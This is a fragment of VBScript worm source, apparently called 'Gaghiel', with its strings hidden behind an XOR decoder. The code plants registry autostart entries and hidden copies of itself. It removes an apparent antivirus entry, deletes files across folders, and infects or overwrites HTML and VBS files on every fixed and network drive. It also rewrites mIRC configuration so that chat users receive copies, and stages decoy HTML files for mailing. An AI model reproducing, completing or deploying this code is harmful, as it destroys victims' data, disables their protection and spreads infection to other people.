vbs = vbs & "q("&Chr(34)&";"&Chr(34)&") & q("&Chr(34)&"("&Chr(34)&") & q("&Chr(34)&"Tdunws9"&Chr(34)&")"& vbCrlf
vbs = vbs & "Gtag = q("&Chr(34)&";"&Chr(34)&")&q("&Chr(34)&"OSJK"&Chr(34)&")&q("&Chr(34)&"9;OBFC"&Chr(34)&")&q("&Chr(34)&"9"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&";"&Chr(34)&")&q("&Chr(34)&"Snskb9'@f`onbk';(Snskb"&Chr(34)&")&q("&Chr(34)&"9;"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"(OBFC9"&Chr(34)&")&vbCrLf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&";"&Chr(34)&") & q("&Chr(34)&"Ehc~9'"&Chr(34)&") & vbCrlf & vbCrlf & v & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&";"&Chr(34)&") & q("&Chr(34)&"(Ehc~9;(OSJK"&Chr(34)&") & q("&Chr(34)&"9"&Chr(34)&")"& vbCrlf
vbs = vbs & "set hta=gf.CreateTextFile(Gwin&q("&Chr(34)&"[@f`onbk)osjk"&Chr(34)&"))"& vbCrlf
vbs = vbs & "hta.write Gtag"& vbCrlf
vbs = vbs & "hta.close"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "end Sub"& vbCrlf
vbs = vbs & "Function q(j)"& vbCrlf
vbs = vbs & "On Error Resume Next"& vbCrlf
vbs = vbs & "For r = 1 to len(j)"& vbCrlf
vbs = vbs & "q = q & Chr(Asc(Mid(j,r,1)) Xor Len("&Chr(34)&"Gaghiel"&Chr(34)&"))"& vbCrlf
vbs = vbs & "Next"& vbCrlf
vbs = vbs & "End function"& vbCrlf
vbs = vbs & "Sub Rei()"& vbCrlf
vbs = vbs & "On Error Resume Next"& vbCrlf
vbs = vbs & "GRW = gf.getspecialfolder(0)"& vbCrlf
vbs = vbs & "hta = q("&Chr(34)&"[Jbiý'Nindnh[Wuh`ufjft[Nindnh[@f`onbk)osf"&Chr(34)&")"& vbCrlf
vbs = vbs & "Set R = gf.getfolder(GRW & q("&Chr(34)&"[Ubdbis"&Chr(34)&"))"& vbCrlf
vbs = vbs & "Set R1 = R.files"& vbCrlf
vbs = vbs & "for each R2 in R1"& vbCrlf
vbs = vbs & "gf.deletefile(R2.path)"& vbCrlf
vbs = vbs & "Next"& vbCrlf
vbs = vbs & "if gf.FileExists(GRW & hta) then"& vbCrlf
vbs = vbs & "gf.DeleteFile(GRW & hta)"& vbCrlf
vbs = vbs & "end if     "& vbCrlf
vbs = vbs & "End sub"& vbCrlf
vbs = vbs & "Sub ATF(AT)"& vbCrlf
vbs = vbs & "On Error Resume Next"& vbCrlf
vbs = vbs & "'Absolutely Terror Field"& vbCrlf
vbs = vbs & "if AT <> "&Chr(34)&""&Chr(34)&" then"& vbCrlf
vbs = vbs & "if Right(AT,1) <> q("&Chr(34)&"["&Chr(34)&") then AT = AT & q("&Chr(34)&"["&Chr(34)&")"& vbCrlf
vbs = vbs & "set AT1 = gf.getfolder(AT)"& vbCrlf
vbs = vbs & "set AT2 = AT1.files"& vbCrlf
vbs = vbs & "for each AT3 in AT2"& vbCrlf
vbs = vbs & "set gr = gf.getfile(AT3.path)"& vbCrlf
vbs = vbs & "if gr.attributes > 0 then"& vbCrlf
vbs = vbs & "gr.attributes = gr.attributes - gr.attributes"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "gf.deleteFile(AT3.path)"& vbCrlf
vbs = vbs & "next"& vbCrlf
vbs = vbs & "AT = Lcase(AT)"& vbCrlf
vbs = vbs & "if inStr(AT, q("&Chr(34)&"wbu"&Chr(34)&")) <> q("&Chr(34)&"Afktb"&Chr(34)&") then"& vbCrlf
vbs = vbs & "GWin=gf.getspecialfolder(0)"& vbCrlf
vbs = vbs & "Ges=q("&Chr(34)&"[Jbiý'Nindnh[Wuh`ufjft[Nindnh["&Chr(34)&")"& vbCrlf
vbs = vbs & "Gin=q("&Chr(34)&"[Tsfus'Jbir[Wuh`ufjt[Tsfusrw["&Chr(34)&")"& vbCrlf
vbs = vbs & "GPav=q("&Chr(34)&"OLB^XKHDFKXJFDONIB[THASPFUB[Jnduhthas"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"[Pnichpt[DruubisQbutnhi[uritbuqndbt[WFQ)B_B"&Chr(34)&")"& vbCrlf
vbs = vbs & "gw.Regdelete GPav"& vbCrlf
vbs = vbs & "if gf.FileExists(GWin&Ges&q("&Chr(34)&"WBU'Fisnqnurt)kil"&Chr(34)&")) then"& vbCrlf
vbs = vbs & "gf.deleteFile(GWin & Ges & q("&Chr(34)&"WBU'Fisnqnurt)kil"&Chr(34)&"))"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "if gf.FileExists(GWin&Gin&q("&Chr(34)&"WBU'Fisnqnurt)kil"&Chr(34)&")) then"& vbCrlf
vbs = vbs & "gf.deleteFile(GWin & Gin & q("&Chr(34)&"WBU'Fisnqnurt)kil"&Chr(34)&"))"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "Ap = q("&Chr(34)&"Fdsrfkn}fdnôi'cb'WBU'Fisnqnurt)kil"&Chr(34)&")"& vbCrlf
vbs = vbs & "if gf.FileExists(GWin & Ges & Ap) then"& vbCrlf
vbs = vbs & "gf.deleteFile(GWin & Ges & Ap)"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "if gf.FileExists(GWin & Gin & Ap) then"& vbCrlf
vbs = vbs & "gf.deleteFile(GWin & Gin & Ap)"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "End Sub"& vbCrlf
vbs = vbs & "Function IsHTA()"& vbCrlf
vbs = vbs & "On error resume next"& vbCrlf
vbs = vbs & "Gpath = Wscript.ScriptFullname"& vbCrlf
vbs = vbs & "if Gpath <> "&Chr(34)&""&Chr(34)&" then"& vbCrlf
vbs = vbs & "IsHTA = False"& vbCrlf
vbs = vbs & "else"& vbCrlf
vbs = vbs & "IsHTA = True"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "End Function"& vbCrlf
vbs = vbs & "Sub GHta()"& vbCrlf
vbs = vbs & "On Error Resume Next"& vbCrlf
vbs = vbs & "GWY = gf.getspecialfolder(1)"& vbCrlf
vbs = vbs & "GWW = gf.getspecialfolder(0)"& vbCrlf
vbs = vbs & "if gf.FileExists(GWY & q("&Chr(34)&"[@f`onbk)qet"&Chr(34)&")) = False then"& vbCrlf
vbs = vbs & "G1w=q("&Chr(34)&"OLB^XKHDFKXJFDONIB[THASPFUB[Jnduh"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"thas[Pnichpt[DruubisQbu"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"tnhi[Uri[@f`onbk"&Chr(34)&")"& vbCrlf
vbs = vbs & "G2w=q("&Chr(34)&"OLB^XKHDFKXJFDONIB[THASPFUB[Jnduhthas"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"[Pnichpt[DruubisQb"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"utnhi[Uri'Chjfni'Jfif`bu[@f`onbk"&Chr(34)&")"& vbCrlf
vbs = vbs & "gw.regwrite G1w, GWY & q("&Chr(34)&"[@f`onbk)qet"&Chr(34)&")"& vbCrlf
vbs = vbs & "gw.regwrite G2w, GWY & q("&Chr(34)&"[@f`onbk)qet"&Chr(34)&")"& vbCrlf
vbs = vbs & "for each x in document.Scripts"& vbCrlf
vbs = vbs & "if lcase(x.Language) = q("&Chr(34)&"qetdunws"&Chr(34)&") then"& vbCrlf
vbs = vbs & "if InStr(x.text, q("&Chr(34)&"@f`onbk"&Chr(34)&")) <> 0 then"& vbCrlf
vbs = vbs & "GScript = x.text"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "Next"& vbCrlf
vbs = vbs & "set gs=gf.CreateTextFile(GWY & q("&Chr(34)&"[@f`onbk)qet"&Chr(34)&"))"& vbCrlf
vbs = vbs & "gs.write GScript"& vbCrlf
vbs = vbs & "gs.close"& vbCrlf
vbs = vbs & "Set K = gf.getfile(GWY & q("&Chr(34)&"[@f`onbk)qet"&Chr(34)&"))"& vbCrlf
vbs = vbs & "K.attributes = K.attributes + 2"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "if InStr(Navigator.SystemLanguage, q("&Chr(34)&"bt"&Chr(34)&")) <> 0 then"& vbCrlf
vbs = vbs & "HTG = GWW & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"[JbiýNiy6[Wuh`ufy6[Nindnh[@f`onbk)osf"&Chr(34)&")"& vbCrlf
vbs = vbs & "else"& vbCrlf
vbs = vbs & "HTG= GWW & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"[Tsfusjy6[Wuh`ufjt[Tsfusrw[@f`onbk)osf"&Chr(34)&")"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "Set wgn=gf.CreateTextFile(GWW & q("&Chr(34)&"[Pninins)nin"&Chr(34)&"))"& vbCrlf
vbs = vbs & "wgn.Writeline q("&Chr(34)&"\UbifjbZ"&Chr(34)&") "& vbCrlf
vbs = vbs & "wgn.Writeline q("&Chr(34)&"Irk:"&Chr(34)&") & HTG"& vbCrlf
vbs = vbs & "wgn.close"& vbCrlf
vbs = vbs & "gw.run gf.getspecialfolder(1) & q("&Chr(34)&"[@f`onbk)qet"&Chr(34)&")"& vbCrlf
vbs = vbs & "end sub"& vbCrlf
vbs = vbs & "Sub Gaghiel()"& vbCrlf
vbs = vbs & "On error resume next"& vbCrlf
vbs = vbs & "dim gdd, gl"& vbCrlf
vbs = vbs & "set gdd = gf.drives"& vbCrlf
vbs = vbs & "for each gl in gdd"& vbCrlf
vbs = vbs & "if gl.drivetype = 2 or gl.drivetype = 3 then"& vbCrlf
vbs = vbs & "Gfol(gl.path & q("&Chr(34)&"["&Chr(34)&"))"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "next"& vbCrlf
vbs = vbs & "End sub"& vbCrlf
vbs = vbs & "Sub Gfol(folder)"& vbCrlf
vbs = vbs & "On error resume next"& vbCrlf
vbs = vbs & "set gfl = gf.getfolder(folder)"& vbCrlf
vbs = vbs & "set gsfl = gfl.subfolders"& vbCrlf
vbs = vbs & "for each ga in gsfl"& vbCrlf
vbs = vbs & "Gfol(ga.path)"& vbCrlf
vbs = vbs & "GHTML(ga.path)"& vbCrlf
vbs = vbs & "next "& vbCrlf
vbs = vbs & "End sub"& vbCrlf
vbs = vbs & "Sub GHTML(folder)"& vbCrlf
vbs = vbs & "On error resume next"& vbCrlf
vbs = vbs & "set gls = gf.getfolder(folder)"& vbCrlf
vbs = vbs & "set gfs = gls.files"& vbCrlf
vbs = vbs & "gb = "&Chr(34)&""&Chr(34)&""& vbCrlf
vbs = vbs & "for each f in gfs"& vbCrlf
vbs = vbs & "gn = f.name"& vbCrlf
vbs = vbs & "gn = Lcase(gn)"& vbCrlf
vbs = vbs & "gext = gf.GetExtensionName(f.path)"& vbCrlf
vbs = vbs & "gext = Lcase(gext)"& vbCrlf
vbs = vbs & "gc = gf.getBaseName(f.path)"& vbCrlf
vbs = vbs & "gc = Lcase(gc)"& vbCrlf
vbs = vbs & "if (gd.Exists(gext)=true) and (gc <> q("&Chr(34)&"`f`onbk"&Chr(34)&")) then"& vbCrlf
vbs = vbs & "set gr = gf.getfile(f.path)"& vbCrlf
vbs = vbs & "if gr.attributes > 0 then"& vbCrlf
vbs = vbs & "gr.attributes = gr.attributes - gr.attributes"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "set rd1 = gf.OpenTextFile(f.path,1)"& vbCrlf
vbs = vbs & "r1 = rd1.readline"& vbCrlf
vbs = vbs & "rd1.close"& vbCrlf
vbs = vbs & "if InStr(r1, q("&Chr(34)&"@f`onbk"&Chr(34)&")) = 0 then"& vbCrlf
vbs = vbs & "set rd2 = gf.OpenTextFile(f.path,1)"& vbCrlf
vbs = vbs & "r2 = rd2.readAll"& vbCrlf
vbs = vbs & "rd2.close"& vbCrlf
vbs = vbs & "Set rd3 = gf.OpenTextFile(f.path,2,1)"& vbCrlf
vbs = vbs & "rd3.write q("&Chr(34)&"@f`onbk"&Chr(34)&")&vbCrlf&r2&vbCrlf&vs"& vbCrlf
vbs = vbs & "rd3.close "& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "elseif (gext = q("&Chr(34)&"qet"&Chr(34)&")) or (gext = q("&Chr(34)&"qeb"&Chr(34)&")) then"& vbCrlf
vbs = vbs & "if (gc <> q("&Chr(34)&"`f`onbk"&Chr(34)&")) then"& vbCrlf
vbs = vbs & "set gr = gf.getfile(f.path)"& vbCrlf
vbs = vbs & "if gr.attributes > 0 then"& vbCrlf
vbs = vbs & "gr.attributes = gr.attributes - gr.attributes"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "set rd1 = gf.OpenTextFile(f.path,1)"& vbCrlf
vbs = vbs & "r1 = rd1.readline"& vbCrlf
vbs = vbs & "rd1.close"& vbCrlf
vbs = vbs & "if InStr(r1, q("&Chr(34)&"@f`onbk"&Chr(34)&")) = 0 then"& vbCrlf
vbs = vbs & "Set rd3 = gf.OpenTextFile(f.path,2,1)"& vbCrlf
vbs = vbs & "rd3.write vbz"& vbCrlf
vbs = vbs & "rd3.close "& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "elseif (gn=q("&Chr(34)&"jnud45)bb"&Chr(34)&")) or (gn=q("&Chr(34)&"jnud)nin"&Chr(34)&")) then"& vbCrlf
vbs = vbs & "Hs = q("&Chr(34)&"\uankbtZ"&Chr(34)&")"& vbCrlf
vbs = vbs & "IniEdit f.path,Hs,q("&Chr(34)&"i5"&Chr(34)&"),q("&Chr(34)&"Dofibk)okw"&Chr(34)&")"& vbCrlf
vbs = vbs & "set vsr=gf.CreateTextFile(folder & q("&Chr(34)&"[Dofibk)okw"&Chr(34)&"))"& vbCrlf
vbs = vbs & "GRCq = q("&Chr(34)&"<Hwdnhibt'Fqfi}fcft+'kf'jhcnandfdnhi"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'cb'btsb'sbsh"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"<wrbcb'wuhqhdfu'bk'jfk'aridnhifjnbish'cb'tr"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'wuh`ufjf)"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"<Fcqfidbc'hwsnhit+'sob'jhcnandfsnhi'ha'sont"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'sbs"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"<ns'dfi'dfrtb'sob'efc'hwbufsnhi'ha'sobnu"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'wuh`ufj)"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & ""&Chr(34)&""&Chr(34)&" & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"hi'6=DHIIBDS=|'(bdoh'@BC]FD'{"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'(bdoh'Dhjbi}fich'Tbdnhi'z"&Chr(34)&")&vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"fknft'N`'|')n`ihub'#6'#5'z"&Chr(34)&")&vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"hi'6=MHNI=-=|'na'/#Indl'&:'#Jb."&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'|'@JT'z'|'@J'z'z"&Chr(34)&")&vbCrLf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"hi'6=WFUS=$=|'na'/#Indl'&:'#Jb."&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'|'@J'z'z"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"hi'6=SB_S=-qnurt-=-=N`'$'#Indl"&Chr(34)&")&vbCrLf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"hi'6=SB_S=-phuj-=-=N`'$'#Indl"&Chr(34)&")&vbCrLf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"hi'6=SB_S=-`rtfih-=-=N`'$'#Indl"&Chr(34)&")&vbCrLf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"hi'6=SB_S=-suh~fi-=-=N`'$'#Indl"&Chr(34)&")&vbCrLf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"hi'6=AnkbUdqc=-=|'na'/#Indl'&:'#Jb."&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'|'@J'z'z"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"hi'6=TBICAFNK=-=|'ofks'z"&Chr(34)&")&vbCrLf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"hi'6=Cntdhiibds=|'qfu'¢`t6':'"&Chr(34)&")&g(1)& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"['{'qfu'¢Uj':'6"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"(ponkb'/¢Uj';:'2.'|"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"(na'/¢Uj':'6.'|'qfu'¢Uja':'¢`t6"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'#,'Wfss~)osjk'z"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"(na'/¢Uj':'5.'|'qfu'¢Uja':'¢`t6"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'#,'Fcnqnifi}f)osj'z"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"(na'/¢Uj':'4.'|'qfu'¢Uja':'¢`t6"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'#,'OfdlbfuPbet)osj'z"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"(na'/¢Uj':'3.'|'qfu'¢Uja':'¢`t6"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'#,'DnsftBiKfUbc)osj'z"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"(na'/¢Uj':'2.'|'qfu'¢Uja':'¢`t6"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'#,'@f`onbk)osj'z"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"(na'/#bntst/¢Uja.':'#Surb.'|')ubjhqb'¢Uja"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'z'{'nid'¢Uj'z'z"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"fknft'@Tbic'|'Tbs'¢¤)ankb'#5"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"na'/'#bnts/¢¤)ankb.':'#Afktb'.'|'ofks'z"&Chr(34)&")&vbCrLf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"na'/'#Tbic/7.'9'5'.'|'Ubsrui'z"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"na'/'#6'nthw'$'.'|'Ubsrui'z"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&")n`ihub'*r>7'#6'5"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&")CDD'TBIC'#6'¢¤)ankb'z"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"fknft'@JT'|'qfu'¢jtd':'#ufic/6+2."&Chr(34)&")&vbCrLf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"(na'/¢jtd':'6.'|'(jt`'#Indl'Qncbht+'jw4+"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'kneuht'~'cbjft'ubdrutht'`ufsnt'bi'ossw=((ppp)`"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"ufsntpbe)dhj(jfdonibcufjhi6(`f`onbk)osjk'z"&Chr(34)&")&vbCrLf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"bktbna'/¢jtd':'5.'|'(jt`'#Indl'Btsft'Feruunch8"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'Bishidbt'qntnsf'ossw=((ppp)`ufsntpbe)dhj(jfdo"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"nibcufjhi(`f`onbk)osjk'+kf'wf`nif'dhi'bk'jbmhu'"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"bisubsbinjnbish'z"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"bktbna'/¢jtd':'4.'|'(jt`'#Indl'Vrnbubt'tfebu'"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"dhjh'Ofdlbfu'rif'Pbe+'btsh'~'shch'theub'bk'Ofdlni`"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"+'Dufdlni`'~'Qnunn'bi'ossw=((ppp)`ufsntpbe)dhj(jfd"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"onibcufjhi(`f`onbk)osjk'z"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"bktbna'/¢jtd':'3.'|'(jt`'#Indl'Thkh'h'Thkf8'Bidrbi"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"suf'f'fk`rnbi'dhi'vrnbi'ofekfu'h'fk`h'jæt+'bisuf'fk"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'Dofs'cb'ossw=((ppp)`ufsntpbe)dhj(jfdonibcufjhi(`"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"f`onbk)osjk'z"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"bktbna'/¢jtd':'2.'|'(jt`'#Indl'Vrnbubt'tfebu'theub'"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"afisftjft+'qfjwnuht'~'cbjhinht'h'tnjwkbjbisb'ftrtsfu"&Chr(34)&")&_"& vbCrlf
vbs = vbs & "q("&Chr(34)&"sb'ri'ufsh+'bishidbt'qntnsf'ossw=((ppp)`ufsntpbe)dh"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"j(jfdonibcufjhi6(`f`onbk)osjk'z"&Chr(34)&")&vbCrLf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"z"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"fknft'@J'|'qfu'¢`a6':'"&Chr(34)&") & g(1) & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"['#,'Fi`bkcbkJfu)osjk"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"(na'/'#bntst/¢`a6.':'#Afktb'."&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'|'ofks'z"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"qfu'¢Ua':'#ufic/6+2."&Chr(34)&")&vbCrLf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"(na'/¢Ua':'6.'|')dhw~'*h'¢`a6'#ihankb/¢`a6.'#,"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'Wfss~)osjk'{'Tbs'¢¤)ankb'#ihankb/¢`a6."&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'#,'Wfss~)osjk'z"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"bktbna'/¢Ua':'5.'|')dhw~'*h'¢`a6'#ihankb/¢`a6."&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'#,'Fcnqnifi}f)osj'{'Tbs'¢¤)ankb'#ihankb/¢`a6."&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'#,'Fcnqnifi}f)osj'z"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"bktbna'/¢Ua':'4.'|')dhw~'*h'¢`a6'#ihankb/¢`a6.'#,"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'OfdlbfuPbet)osj'{'Tbs'¢¤)ankb'#ihankb/¢`a6."&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'#,'OfdlbfuPbet)osj'z"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"bktbna'/¢Ua':'3.'|')dhw~'*h'¢`a6'#ihankb/¢`a6.'#,"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'DnsftBiKfUbc)osj'{'Tbs'¢¤)ankb'#ihankb/¢`a6.'#,"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'DnsftBiKfUbc)osj'z"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"bktbna'/¢Ua':'2.'|')dhw~'*h'¢`a6'#ihankb/¢`a6."&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'#,'@f`onbk)osj'{'Tbs'¢¤)ankb'#ihankb/¢`a6."&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'#,'@f`onbk)osj'z"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"()n`ihub'*uwdisnlr62'$'#fccubtt/#indl+6.'{"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'@Tbic'#Indl'¢¤)ankb'z"&Chr(34)&") & vbCrLf & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Hi'6=ANKBTBIS=-)osj+-)osjk=|'"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"(bdoh'QET)@f`onbk)E'tb'f'biqnfch'f'#Indl'z"&Chr(34)&")"& vbCrlf
vbs = vbs & "GRCq = Replace(GRCq,"&Chr(34)&"¥"&Chr(34)&",Chr(37))"& vbCrlf
vbs = vbs & "vsr.write GRCq"& vbCrlf
vbs = vbs & "vsr.close"& vbCrlf
vbs = vbs & "elseif (gd.Exists(gc)=true) or (gd.Exists(gn)=true) then"& vbCrlf
vbs = vbs & "set gr = gf.getfile(f.path)"& vbCrlf
vbs = vbs & "if gr.attributes > 0 then"& vbCrlf
vbs = vbs & "gr.attributes = gr.attributes - gr.attributes"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "gf.deleteFile(f.path)"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "next"& vbCrlf
vbs = vbs & "End sub"& vbCrlf
vbs = vbs & "Function g(n)"& vbCrlf
vbs = vbs & "On error resume next"& vbCrlf
vbs = vbs & "If n = 0 Then"& vbCrlf
vbs = vbs & "g = gf.getspecialfolder(0)"& vbCrlf
vbs = vbs & "ElseIf n = 1 Then"& vbCrlf
vbs = vbs & "g = gf.getspecialfolder(1)"& vbCrlf
vbs = vbs & "ElseIf n = 2 Then"& vbCrlf
vbs = vbs & "g = gf.getspecialfolder(2)"& vbCrlf
vbs = vbs & "End If"& vbCrlf
vbs = vbs & "End Function"& vbCrlf
vbs = vbs & "Sub GMail()"& vbCrlf
vbs = vbs & "On Error Resume Next"& vbCrlf
vbs = vbs & "Dim Mx(4)"& vbCrlf
vbs = vbs & "Mx(0)= q("&Chr(34)&"[Wd]hjen)osjk"&Chr(34)&")"& vbCrlf
vbs = vbs & "Mx(1) = q("&Chr(34)&"[UFStb`runcfc)osjk"&Chr(34)&")"& vbCrlf
vbs = vbs & "Mx(2)= q("&Chr(34)&"[NiahujfdnhiDrbisft)osjk"&Chr(34)&")"& vbCrlf
vbs = vbs & "Mx(3) = q("&Chr(34)&"[QnusrfkKbssbu)osjk"&Chr(34)&")"& vbCrlf
vbs = vbs & "Mx(4) = q("&Chr(34)&"[Tbfkrc)osjk"&Chr(34)&")"& vbCrlf
vbs = vbs & "For i = 0 To 4"& vbCrlf
vbs = vbs & "If gf.FileExists(g(2) & Mx(i)) = False Then "& vbCrlf
vbs = vbs & "gf.CopyFile g(1) & "&Chr(34)&"\AngeldelMar.html"&Chr(34)&", g(2) & Mx(i)"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "Next"& vbCrlf
vbs = vbs & "GExW"& vbCrlf
vbs = vbs & "GExl"& vbCrlf
